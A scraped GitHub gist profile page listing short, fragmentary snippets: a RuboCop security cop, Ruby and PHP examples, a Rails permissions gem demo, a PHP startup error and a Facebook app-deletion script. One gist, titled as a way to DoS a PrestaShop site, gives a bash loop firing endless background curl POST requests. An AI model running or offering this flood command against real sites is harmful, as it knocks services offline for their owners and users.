Skip to content

Instantly share code, notes, and snippets.


Adrien S Intrepidd

View GitHub Profile
View cop.rb
class RuboCop::Cop::Security::LinkToBlank < RuboCop::Cop::Cop
MSG = 'Specify a `:rel` option containing noopener.'.freeze
def_node_matcher :link_to?, <<-PATTERN
(send nil? :link_to ...)
def_node_matcher :blank_target?, <<-PATTERN
(pair {(sym :target) (str "target")} (str "_blank"))
Intrepidd / gist:4054741
Created Nov 11, 2012
How to DOS a prestashop website ?
View gist:4054741
while true; do curl -F 'back=my-account&' '' -H "Content-Type:application/x-www-form-urlencoded" &;done
Intrepidd / test.rb
Created Aug 23, 2012 — forked from ys/My_first_thought.rb
How would you align these kind of things in Ruby?
View test.rb
option_1: a,
option_2: blabla,
option_3: blablablablablabla,
option_4: bblablablablablablablabla,
option_5: bblablablabla) do |v|
d = v.bla
e = v.bla
Intrepidd / example.rb
Created Aug 8, 2012
Case sensivity search for active record
View example.rb
Model.where('my_string LIKE BINARY ?', "This is a Test String")
Intrepidd / gist:2409377
Created Apr 17, 2012
Demo of my gem rails-canhaz
View gist:2409377
user = User.find(42)
article = Article.find(1337)
user.can?(:read, article) # Can the user read this article? false for now
user.can(:read, article) # Ok, so the user can read this article
user.can(:edit, article) # He can edit it as well
user.can?(:read, article) # Will be true
View gist:1718685
#include <iostream>
class Dad
Intrepidd / gist:1307618
Created Oct 23, 2011
Facebook delete all apps, quite uggly.
View gist:1307618
// Assuming you have Jquerified the page
function deleteApp(tab, index) {
setTimeout(function() {
setTimeout(function() {
if (tab[index + 1]) {
View gist:1149818
php -v :
Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/' - /usr/lib64/php/modules/ undefined symbol: zend_error_noreturn in Unknown on line 0
PHP 5.3.6 (cli) (built: Mar 23 2011 13:12:50)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
Fedora 15
View gist:1090844
class ParentClass {
protected $a = 1;
public function doSomething() {
echo "I'm the parent";
$this->a = 2;